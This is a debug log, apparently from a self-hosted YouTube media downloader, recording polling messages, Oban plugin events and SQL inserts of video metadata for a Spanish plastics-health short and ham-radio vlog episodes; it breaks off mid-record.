22:50:02.450 [debug] Current batch of media processed. Will check again in 1000ms 22:50:03.360 [debug] Current batch of media processed. Will check again in 1000ms 22:50:03.451 [debug] Current batch of media processed. Will check again in 1000ms 22:50:04.361 [debug] Current batch of media processed. Will check again in 1000ms 22:50:04.452 [debug] Current batch of media processed. Will check again in 1000ms 22:50:05.362 [debug] Current batch of media processed. Will check again in 1000ms 22:50:05.453 [debug] Current batch of media processed. Will check again in 1000ms 22:50:06.363 [debug] Current batch of media processed. Will check again in 1000ms 22:50:06.454 [debug] Current batch of media processed. Will check again in 1000ms 22:50:07.364 [debug] Current batch of media processed. Will check again in 1000ms 22:50:07.455 [debug] Current batch of media processed. Will check again in 1000ms 22:50:08.365 [debug] Current batch of media processed. Will check again in 1000ms 22:50:08.456 [debug] Current batch of media processed. Will check again in 1000ms 22:50:09.366 [debug] Current batch of media processed. Will check again in 1000ms 22:50:09.457 [debug] Current batch of media processed. Will check again in 1000ms 22:50:10.367 [debug] Current batch of media processed. Will check again in 1000ms 22:50:10.458 [debug] Current batch of media processed. Will check again in 1000ms 22:50:11.368 [debug] Current batch of media processed. Will check again in 1000ms 22:50:11.459 [debug] Current batch of media processed. Will check again in 1000ms 22:50:12.369 [debug] Current batch of media processed. Will check again in 1000ms 22:50:12.460 [debug] Current batch of media processed. Will check again in 1000ms 22:50:13.370 [debug] Current batch of media processed. Will check again in 1000ms 22:50:13.461 [debug] Current batch of media processed. Will check again in 1000ms 22:50:14.371 [debug] Current batch of media processed. Will check again in 1000ms 22:50:14.462 [debug] Current batch of media processed. Will check again in 1000ms 22:50:15.372 [debug] Current batch of media processed. Will check again in 1000ms 22:50:15.463 [debug] Current batch of media processed. Will check again in 1000ms 22:50:16.373 [debug] Current batch of media processed. Will check again in 1000ms 22:50:16.464 [debug] Current batch of media processed. Will check again in 1000ms 22:50:17.374 [debug] Current batch of media processed. Will check again in 1000ms 22:50:17.465 [debug] Current batch of media processed. Will check again in 1000ms 22:50:18.375 [debug] Current batch of media processed. Will check again in 1000ms 22:50:18.466 [debug] Current batch of media processed. Will check again in 1000ms 22:50:19.376 [debug] Current batch of media processed. Will check again in 1000ms 22:50:19.467 [debug] Current batch of media processed. Will check again in 1000ms 22:50:20.377 [debug] Current batch of media processed. Will check again in 1000ms 22:50:20.468 [debug] Current batch of media processed. Will check again in 1000ms 22:50:21.280 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:21.378 [debug] Current batch of media processed. Will check again in 1000ms 22:50:21.469 [debug] Current batch of media processed. Will check again in 1000ms 22:50:22.379 [debug] Current batch of media processed. Will check again in 1000ms 22:50:22.470 [debug] Current batch of media processed. Will check again in 1000ms 22:50:23.380 [debug] Current batch of media processed. Will check again in 1000ms 22:50:23.471 [debug] Current batch of media processed. Will check again in 1000ms 22:50:24.381 [debug] Current batch of media processed. Will check again in 1000ms 22:50:24.472 [debug] Current batch of media processed. Will check again in 1000ms 22:50:25.382 [debug] Current batch of media processed. Will check again in 1000ms 22:50:25.473 [debug] Current batch of media processed. Will check again in 1000ms 22:50:26.383 [debug] Current batch of media processed. Will check again in 1000ms 22:50:26.474 [debug] Current batch of media processed. Will check again in 1000ms 22:50:27.384 [debug] Current batch of media processed. Will check again in 1000ms 22:50:27.475 [debug] Current batch of media processed. Will check again in 1000ms 22:50:28.385 [debug] Current batch of media processed. Will check again in 1000ms 22:50:28.476 [debug] Current batch of media processed. Will check again in 1000ms 22:50:29.386 [debug] Current batch of media processed. Will check again in 1000ms 22:50:29.477 [debug] Current batch of media processed. Will check again in 1000ms 22:50:30.387 [debug] Current batch of media processed. Will check again in 1000ms 22:50:30.478 [debug] Current batch of media processed. Will check again in 1000ms 22:50:31.388 [debug] Current batch of media processed. Will check again in 1000ms 22:50:31.479 [debug] Current batch of media processed. Will check again in 1000ms 22:50:32.389 [debug] Current batch of media processed. Will check again in 1000ms 22:50:32.480 [debug] Current batch of media processed. Will check again in 1000ms 22:50:33.390 [debug] Current batch of media processed. Will check again in 1000ms 22:50:33.481 [debug] Current batch of media processed. Will check again in 1000ms 22:50:34.391 [debug] Current batch of media processed. Will check again in 1000ms 22:50:34.482 [debug] Current batch of media processed. Will check again in 1000ms 22:50:35.392 [debug] Current batch of media processed. Will check again in 1000ms 22:50:35.483 [debug] Current batch of media processed. Will check again in 1000ms 22:50:36.393 [debug] Current batch of media processed. Will check again in 1000ms 22:50:36.484 [debug] Current batch of media processed. Will check again in 1000ms 22:50:37.394 [debug] Current batch of media processed. Will check again in 1000ms 22:50:37.485 [debug] Current batch of media processed. Will check again in 1000ms 22:50:38.395 [debug] Current batch of media processed. Will check again in 1000ms 22:50:38.486 [debug] Current batch of media processed. Will check again in 1000ms 22:50:39.398 [debug] Current batch of media processed. Will check again in 1000ms 22:50:39.487 [debug] Current batch of media processed. Will check again in 1000ms 22:50:40.399 [debug] Current batch of media processed. Will check again in 1000ms 22:50:40.488 [debug] Current batch of media processed. Will check again in 1000ms 22:50:41.400 [debug] Current batch of media processed. Will check again in 1000ms 22:50:41.489 [debug] Current batch of media processed. Will check again in 1000ms 22:50:42.401 [debug] Current batch of media processed. Will check again in 1000ms 22:50:42.490 [debug] Current batch of media processed. Will check again in 1000ms 22:50:43.402 [debug] Current batch of media processed. Will check again in 1000ms 22:50:43.491 [debug] Current batch of media processed. Will check again in 1000ms 22:50:44.403 [debug] Current batch of media processed. Will check again in 1000ms 22:50:44.492 [debug] Current batch of media processed. Will check again in 1000ms 22:50:45.404 [debug] Current batch of media processed. Will check again in 1000ms 22:50:45.493 [debug] Current batch of media processed. Will check again in 1000ms 22:50:46.405 [debug] Current batch of media processed. Will check again in 1000ms 22:50:46.494 [debug] Current batch of media processed. Will check again in 1000ms 22:50:47.406 [debug] Current batch of media processed. Will check again in 1000ms 22:50:47.495 [debug] Current batch of media processed. Will check again in 1000ms 22:50:48.407 [debug] Current batch of media processed. Will check again in 1000ms 22:50:48.496 [debug] Current batch of media processed. Will check again in 1000ms 22:50:49.408 [debug] Current batch of media processed. Will check again in 1000ms 22:50:49.497 [debug] Current batch of media processed. Will check again in 1000ms 22:50:50.409 [debug] Current batch of media processed. Will check again in 1000ms 22:50:50.498 [debug] Current batch of media processed. Will check again in 1000ms 22:50:51.282 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:51.410 [debug] Current batch of media processed. Will check again in 1000ms 22:50:51.499 [debug] Current batch of media processed. Will check again in 1000ms 22:50:52.411 [debug] Current batch of media processed. Will check again in 1000ms 22:50:52.500 [debug] Current batch of media processed. Will check again in 1000ms 22:50:53.412 [debug] Current batch of media processed. Will check again in 1000ms 22:50:53.501 [debug] Current batch of media processed. Will check again in 1000ms 22:50:54.413 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 9: EXPOSOMA:Sumérgete en una discusión crucial sobre la investigación del plástico y los microplásticos en el cuerpo. Descubre los peligros de calentar plásticos y cómo afectan nuestra salud. ¡Mantente informado sobre esta importante investigación! #InvestigaciónPlásticos #Microplásticos #SaludYPlásticos #PeligroCalentarPlásticos #EstudiosPlásticos #ContaminaciónPlástica #MedioAmbiente #ToxicidadPlásticos #Bienestar #ConcienciaPlástica", "duration" => 37, "filename" => "/downloads/music/IA mí QUÉ/¡Cuidado! El plástico caliente es un VENENO silencioso para tu cuerpo.m4a", "id" => "z1ThboObOZk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/z1ThboObOZk", "playlist_index" => 9, "timestamp" => 1747918477, "title" => "¡Cuidado! El plástico caliente es un VENENO silencioso para tu cuerpo", "upload_date" => "20250522"} 22:50:54.414 [debug] QUERY OK source="sources" db=0.6ms idle=1646.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:50:54.415 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1647.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:50:54.416 [debug] QUERY OK source="media_items" db=0.8ms idle=1648.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-22 12:54:37Z], 2] 22:50:54.418 [debug] QUERY OK source="media_items" db=1.1ms idle=1080.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 9: EXPOSOMA:Sumérgete en una discusión crucial sobre la investigación del plástico y los microplásticos en el cuerpo. Descubre los peligros de calentar plásticos y cómo afectan nuestra salud. ¡Mantente informado sobre esta importante investigación! #InvestigaciónPlásticos #Microplásticos #SaludYPlásticos #PeligroCalentarPlásticos #EstudiosPlásticos #ContaminaciónPlástica #MedioAmbiente #ToxicidadPlásticos #Bienestar #ConcienciaPlástica", "¡Cuidado! El plástico caliente es un VENENO silencioso para tu cuerpo", "821065e1-d992-4f71-b2d1-041f47de7c66", 37, false, "z1ThboObOZk", "https://www.youtube.com/shorts/z1ThboObOZk", 9, "/downloads/music/IA mí QUÉ/¡Cuidado! El plástico caliente es un VENENO silencioso para tu cuerpo.m4a", false, false, true, 2, [], 97, ~U[2025-05-22 12:54:37Z], ~U[2026-02-07 21:50:54Z], ~U[2026-02-07 21:50:54Z], "PARTE 9: EXPOSOMA:Sumérgete en una discusión crucial sobre la investigación del plástico y los microplásticos en el cuerpo. Descubre los peligros de calentar plásticos y cómo afectan nuestra salud. ¡Mantente informado sobre esta importante investigación! #InvestigaciónPlásticos #Microplásticos #SaludYPlásticos #PeligroCalentarPlásticos #EstudiosPlásticos #ContaminaciónPlástica #MedioAmbiente #ToxicidadPlásticos #Bienestar #ConcienciaPlástica", "¡Cuidado! El plástico caliente es un VENENO silencioso para tu cuerpo", 37, false, "z1ThboObOZk", "https://www.youtube.com/shorts/z1ThboObOZk", "/downloads/music/IA mí QUÉ/¡Cuidado! El plástico caliente es un VENENO silencioso para tu cuerpo.m4a", true, 2, ~U[2025-05-22 12:54:37Z]] 22:50:54.419 [debug] QUERY OK source="sources" db=0.4ms idle=80.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:50:54.419 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:50:54.420 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1382] 22:50:54.420 [debug] Current batch of media processed. Will check again in 1000ms 22:50:54.502 [debug] Current batch of media processed. Will check again in 1000ms 22:50:55.420 [debug] Current batch of media processed. Will check again in 1000ms 22:50:55.503 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Pues eso, una reseña muy cortita de mi visita a Iberradio en 2023.\n\nContenido\n00:00 - Inicio\n00:20 - Intro canal\n00:38 - Mi visión del Iberradio de este año\n02:34 - Lo mas importante de la feria\n05:20 - Regreso a casa\n\n#iberradio #iberradio2023 #radioaficionados #hamradio #ferias \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 403, "filename" => "/downloads/music/ea3grn/117 - MI VISITA A IBERRADIO 2023.m4a", "id" => "MqqNSVyaQG0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MqqNSVyaQG0", "playlist_index" => 64, "timestamp" => 1695560416, "title" => "117 - MI VISITA A IBERRADIO 2023", "upload_date" => "20230924"} 22:50:55.504 [debug] QUERY OK source="sources" db=0.6ms idle=1085.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:50:55.505 [debug] QUERY OK source="sources" db=0.4ms idle=1085.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:50:55.506 [debug] QUERY OK source="media_items" db=0.8ms idle=1085.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-24 13:00:16Z], 3] 22:50:55.508 [debug] QUERY OK source="media_items" db=1.0ms idle=1086.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Pues eso, una reseña muy cortita de mi visita a Iberradio en 2023.\n\nContenido\n00:00 - Inicio\n00:20 - Intro canal\n00:38 - Mi visión del Iberradio de este año\n02:34 - Lo mas importante de la feria\n05:20 - Regreso a casa\n\n#iberradio #iberradio2023 #radioaficionados #hamradio #ferias \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "117 - MI VISITA A IBERRADIO 2023", "81578768-fea4-4929-b175-5ee74f090977", 403, false, "MqqNSVyaQG0", "https://www.youtube.com/watch?v=MqqNSVyaQG0", 64, "/downloads/music/ea3grn/117 - MI VISITA A IBERRADIO 2023.m4a", false, false, false, 3, [], 98, ~U[2023-09-24 13:00:16Z], ~U[2026-02-07 21:50:55Z], ~U[2026-02-07 21:50:55Z], "Pues eso, una reseña muy cortita de mi visita a Iberradio en 2023.\n\nContenido\n00:00 - Inicio\n00:20 - Intro canal\n00:38 - Mi visión del Iberradio de este año\n02:34 - Lo mas importante de la feria\n05:20 - Regreso a casa\n\n#iberradio #iberradio2023 #radioaficionados #hamradio #ferias \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "117 - MI VISITA A IBERRADIO 2023", 403, false, "MqqNSVyaQG0", "https://www.youtube.com/watch?v=MqqNSVyaQG0", "/downloads/music/ea3grn/117 - MI VISITA A IBERRADIO 2023.m4a", false, 3, ~U[2023-09-24 13:00:16Z]] 22:50:55.508 [debug] QUERY OK source="sources" db=0.5ms idle=169.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:50:55.509 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:50:55.510 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1428] 22:50:55.510 [debug] Current batch of media processed. Will check again in 1000ms 22:50:56.421 [debug] Current batch of media processed. Will check again in 1000ms 22:50:56.510 [debug] Current batch of media processed. Will check again in 1000ms 22:50:57.422 [debug] Current batch of media processed. Will check again in 1000ms 22:50:57.511 [debug] Current batch of media processed. Will check again in 1000ms 22:50:58.423 [debug] Current batch of media processed. Will check again in 1000ms 22:50:58.512 [debug] Current batch of media processed. Will check again in 1000ms 22:50:59.424 [debug] Current batch of media processed. Will check again in 1000ms 22:50:59.513 [debug] Current batch of media processed. Will check again in 1000ms 22:51:00.133 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:00.425 [debug] Current batch of media processed. Will check again in 1000ms 22:51:00.514 [debug] Current batch of media processed. Will check again in 1000ms 22:51:01.426 [debug] Current batch of media processed. Will check again in 1000ms 22:51:01.515 [debug] Current batch of media processed. Will check again in 1000ms 22:51:02.427 [debug] Current batch of media processed. Will check again in 1000ms 22:51:02.516 [debug] Current batch of media processed. Will check again in 1000ms 22:51:03.428 [debug] Current batch of media processed. Will check again in 1000ms 22:51:03.517 [debug] Current batch of media processed. Will check again in 1000ms 22:51:04.429 [debug] Current batch of media processed. Will check again in 1000ms 22:51:04.518 [debug] Current batch of media processed. Will check again in 1000ms 22:51:05.430 [debug] Current batch of media processed. Will check again in 1000ms 22:51:05.519 [debug] Current batch of media processed. Will check again in 1000ms 22:51:06.431 [debug] Current batch of media processed. Will check again in 1000ms 22:51:06.520 [debug] Current batch of media processed. Will check again in 1000ms 22:51:07.432 [debug] Current batch of media processed. Will check again in 1000ms 22:51:07.521 [debug] Current batch of media processed. Will check again in 1000ms 22:51:08.433 [debug] Current batch of media processed. Will check again in 1000ms 22:51:08.522 [debug] Current batch of media processed. Will check again in 1000ms 22:51:09.434 [debug] Current batch of media processed. Will check again in 1000ms 22:51:09.523 [debug] Current batch of media processed. Will check again in 1000ms 22:51:10.435 [debug] Current batch of media processed. Will check again in 1000ms 22:51:10.524 [debug] Current batch of media processed. Will check again in 1000ms 22:51:11.436 [debug] Current batch of media processed. Will check again in 1000ms 22:51:11.525 [debug] Current batch of media processed. Will check again in 1000ms 22:51:12.437 [debug] Current batch of media processed. Will check again in 1000ms 22:51:12.526 [debug] Current batch of media processed. Will check again in 1000ms 22:51:13.438 [debug] Current batch of media processed. Will check again in 1000ms 22:51:13.527 [debug] Current batch of media processed. Will check again in 1000ms 22:51:14.439 [debug] Current batch of media processed. Will check again in 1000ms 22:51:14.528 [debug] Current batch of media processed. Will check again in 1000ms 22:51:15.440 [debug] Current batch of media processed. Will check again in 1000ms 22:51:15.529 [debug] Current batch of media processed. Will check again in 1000ms 22:51:16.441 [debug] Current batch of media processed. Will check again in 1000ms 22:51:16.530 [debug] Current batch of media processed. Will check again in 1000ms 22:51:17.442 [debug] Current batch of media processed. Will check again in 1000ms 22:51:17.531 [debug] Current batch of media processed. Will check again in 1000ms 22:51:18.443 [debug] Current batch of media processed. Will check again in 1000ms 22:51:18.532 [debug] Current batch of media processed. Will check again in 1000ms 22:51:19.444 [debug] Current batch of media processed. Will check again in 1000ms 22:51:19.533 [debug] Current batch of media processed. Will check again in 1000ms 22:51:20.445 [debug] Current batch of media processed. Will check again in 1000ms 22:51:20.534 [debug] Current batch of media processed. Will check again in 1000ms 22:51:21.284 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:21.446 [debug] Current batch of media processed. Will check again in 1000ms 22:51:21.535 [debug] Current batch of media processed. Will check again in 1000ms 22:51:22.447 [debug] Current batch of media processed. Will check again in 1000ms 22:51:22.536 [debug] Current batch of media processed. Will check again in 1000ms 22:51:23.448 [debug] Current batch of media processed. Will check again in 1000ms 22:51:23.537 [debug] Current batch of media processed. Will check again in 1000ms 22:51:24.449 [debug] Current batch of media processed. Will check again in 1000ms 22:51:24.538 [debug] Current batch of media processed. Will check again in 1000ms 22:51:25.450 [debug] Current batch of media processed. Will check again in 1000ms 22:51:25.539 [debug] Current batch of media processed. Will check again in 1000ms 22:51:26.451 [debug] Current batch of media processed. Will check again in 1000ms 22:51:26.540 [debug] Current batch of media processed. Will check again in 1000ms 22:51:27.452 [debug] Current batch of media processed. Will check again in 1000ms 22:51:27.541 [debug] Current batch of media processed. Will check again in 1000ms 22:51:28.453 [debug] Current batch of media processed. Will check again in 1000ms 22:51:28.542 [debug] Current batch of media processed. Will check again in 1000ms 22:51:29.454 [debug] Current batch of media processed. Will check again in 1000ms 22:51:29.543 [debug] Current batch of media processed. Will check again in 1000ms 22:51:30.455 [debug] Current batch of media processed. Will check again in 1000ms 22:51:30.544 [debug] Current batch of media processed. Will check again in 1000ms 22:51:31.456 [debug] Current batch of media processed. Will check again in 1000ms 22:51:31.545 [debug] Current batch of media processed. Will check again in 1000ms 22:51:32.457 [debug] Current batch of media processed. Will check again in 1000ms 22:51:32.546 [debug] Current batch of media processed. Will check again in 1000ms 22:51:33.458 [debug] Current batch of media processed. Will check again in 1000ms 22:51:33.547 [debug] Current batch of media processed. Will check again in 1000ms 22:51:34.459 [debug] Current batch of media processed. Will check again in 1000ms 22:51:34.548 [debug] Current batch of media processed. Will check again in 1000ms 22:51:35.460 [debug] Current batch of media processed. Will check again in 1000ms 22:51:35.549 [debug] Current batch of media processed. Will check again in 1000ms 22:51:36.461 [debug] Current batch of media processed. Will check again in 1000ms 22:51:36.550 [debug] Current batch of media processed. Will check again in 1000ms 22:51:37.462 [debug] Current batch of media processed. Will check again in 1000ms 22:51:37.551 [debug] Current batch of media processed. Will check again in 1000ms 22:51:38.463 [debug] Current batch of media processed. Will check again in 1000ms 22:51:38.552 [debug] Current batch of media processed. Will check again in 1000ms 22:51:39.464 [debug] Current batch of media processed. Will check again in 1000ms 22:51:39.553 [debug] Current batch of media processed. Will check again in 1000ms 22:51:40.465 [debug] Current batch of media processed. Will check again in 1000ms 22:51:40.554 [debug] Current batch of media processed. Will check again in 1000ms 22:51:41.466 [debug] Current batch of media processed. Will check again in 1000ms 22:51:41.555 [debug] Current batch of media processed. Will check again in 1000ms 22:51:42.467 [debug] Current batch of media processed. Will check again in 1000ms 22:51:42.556 [debug] Current batch of media processed. Will check again in 1000ms 22:51:43.468 [debug] Current batch of media processed. Will check again in 1000ms 22:51:43.557 [debug] Current batch of media processed. Will check again in 1000ms 22:51:44.469 [debug] Current batch of media processed. Will check again in 1000ms 22:51:44.558 [debug] Current batch of media processed. Will check again in 1000ms 22:51:45.470 [debug] Current batch of media processed. Will check again in 1000ms 22:51:45.559 [debug] Current batch of media processed. Will check again in 1000ms 22:51:46.471 [debug] Current batch of media processed. Will check again in 1000ms 22:51:46.560 [debug] Current batch of media processed. Will check again in 1000ms 22:51:47.472 [debug] Current batch of media processed. Will check again in 1000ms 22:51:47.561 [debug] Current batch of media processed. Will check again in 1000ms 22:51:48.473 [debug] Current batch of media processed. Will check again in 1000ms 22:51:48.562 [debug] Current batch of media processed. Will check again in 1000ms 22:51:49.474 [debug] Current batch of media processed. Will check again in 1000ms 22:51:49.563 [debug] Current batch of media processed. Will check again in 1000ms 22:51:50.475 [debug] Current batch of media processed. Will check again in 1000ms 22:51:50.564 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Pues eso, parada y fonda (que se dice por aquí). Parada de unas semanas para descansar, recuperar fuerzas y desarrollar ideas. A mediados de septiembre me tendreis de vuelta. Mientras tanto, hacer mucha radio y... pasar unas buenas vacaciones.\n\nNos vemos en Iberradio !\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 373, "filename" => "/downloads/music/ea3grn/116 - 